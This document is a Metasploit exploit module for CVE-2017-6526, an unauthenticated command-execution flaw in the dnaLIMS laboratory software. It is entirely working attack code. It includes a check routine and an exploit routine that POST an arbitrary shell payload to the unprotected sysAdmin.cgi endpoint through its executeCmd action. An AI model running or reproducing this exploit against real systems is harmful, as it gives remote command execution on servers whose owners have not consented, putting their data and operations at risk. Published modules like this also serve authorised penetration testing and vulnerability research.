dnaLIMS Admin Module Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'dnaLIMS Admin Module Command Execution',  
'Description' => %q{  
This module utilizes an administrative module which allows for  
command execution. This page is completely unprotected from any  
authentication when given a POST request.  
},  
'Author' =>  
[  
'h00die <[email protected]>', # Discovery, PoC  
'flakey_biscuit <[email protected]>' # Discovery, PoC  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2017-6526'],  
['US-CERT-VU', '929263'],  
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']  
],  
'Platform' => %w( linux unix ),  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'Compat' =>  
{  
'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there  
}  
},  
'Targets' =>  
[  
[ 'Automatic Target', { }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 8 2017'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])  
], self.class  
)  
end  
  
def check  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'investigator' => '',  
'username' => '',  
'navUserName' => '',  
'Action' => 'executeCmd',  
'executeCmdData' => 'perl -V'  
}  
)  
if res && res.body  
if /Summary of/ =~ res.body  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
else  
Exploit::CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
  
def exploit  
begin  
vprint_status('Sending Exploit')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'investigator' => '',  
'username' => '',  
'navUserName' => '',  
'Action' => 'executeCmd',  
'executeCmdData' => payload.encoded,  
}  
)  
vprint_good(res.body)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
end  
  
  
`